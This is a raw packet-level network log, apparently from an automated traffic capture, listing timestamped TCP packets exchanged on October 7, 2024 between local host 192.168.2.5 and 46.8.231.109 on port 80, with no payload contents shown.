Oct 7, 2024 17:22:04.780374050 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780374050 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780388117 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780399084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780410051 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780411959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780411959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780463934 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780463934 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780467987 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780479908 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780519962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780519962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780637026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780648947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780658960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780669928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780679941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780692101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780692101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780692101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780703068 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780714035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780724049 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780739069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780746937 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780746937 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780757904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780770063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780780077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780791044 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780792952 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780792952 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780802011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780817032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780839920 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780839920 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780884027 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780894995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780906916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780916929 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780920982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780920982 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780929089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780940056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780951023 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780960083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780970097 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780970097 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.780971050 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780982018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.780999899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781007051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.781007051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.781012058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781022072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781033039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781044960 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781059980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781068087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.781068087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.781071901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781083107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781095028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781106949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781111956 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.781111956 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.781213999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781224966 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781255960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.781255960 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.781342030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781352997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781364918 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781377077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781388998 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781398058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781405926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.781405926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.781409979 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781420946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781431913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781445980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.781455040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.781455040 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.781496048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.781496048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.861510038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861557007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861568928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861581087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861594915 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861645937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861658096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861670017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861676931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.861676931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.861676931 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.861681938 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861694098 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861715078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.861715078 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.861774921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861784935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861795902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861808062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861815929 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.861815929 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.861816883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861828089 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861839056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861866951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.861866951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.861903906 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.861907959 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861921072 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861933947 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861946106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.861963987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.861963987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862016916 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862027884 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862040997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862051010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862052917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862052917 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862063885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862075090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862087011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862109900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862109900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862164021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862175941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862186909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862198114 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862202883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862202883 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862210035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862221003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862237930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862247944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862247944 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862251997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862262964 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862272978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862284899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862297058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862303972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862303972 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862339973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862339973 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862488031 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862499952 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862512112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862523079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862524986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862535954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862546921 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862581015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862581015 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862612009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862622976 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862628937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862665892 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862677097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862687111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862693071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862699032 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862726927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862726927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862812996 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862848043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862859011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862869978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862879038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862890005 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862901926 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862903118 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862903118 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862914085 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862925053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862940073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.862946987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862946987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.862965107 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863029957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863040924 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863053083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863064051 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863064051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863064051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863109112 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863109112 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863277912 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863295078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863305092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863316059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863320112 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863327026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863337040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863348007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863358974 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863363028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863363028 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863370895 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863382101 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863398075 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863398075 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863405943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863418102 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863430023 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863440990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863454103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863455057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863455057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863466024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863478899 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863488913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863496065 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863496065 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863500118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863512039 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863542080 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863542080 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863734961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863746881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863758087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863769054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863780975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863790989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863796949 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863796949 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863802910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863814116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863825083 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863837004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863847017 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863847017 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863848925 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863861084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.863878965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863909006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863909006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.863996029 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864006996 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864017010 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864028931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864041090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864052057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.864052057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864052057 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.864063978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864074945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864099026 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.864125013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.864125013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.864134073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864145041 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864175081 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864185095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864197016 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864206076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.864206076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.864208937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.864236116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.864334106 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.944258928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944283009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944293022 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944339037 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944346905 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944358110 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944379091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944379091 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.944425106 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944434881 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944446087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.944446087 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.944530010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.944570065 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944580078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944588900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944596052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944606066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944616079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944626093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944641113 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.944641113 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.944673061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.944701910 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944710970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944720030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944730043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944737911 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944753885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.944753885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.944823980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944833040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944843054 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944856882 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944878101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.944878101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.944987059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.944996119 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945004940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945014954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945024967 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945035934 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945039034 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.945044994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945055008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945076942 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.945076942 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.945187092 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945198059 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945207119 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945215940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945225954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945235968 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945245028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945246935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.945246935 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.945255995 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945291042 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.945291042 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:04.945652962 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945662975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945672035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945734978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945744038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945754051 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945763111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:04.945791960 CEST	49704	80	192.168.2.5	46.8.231.109
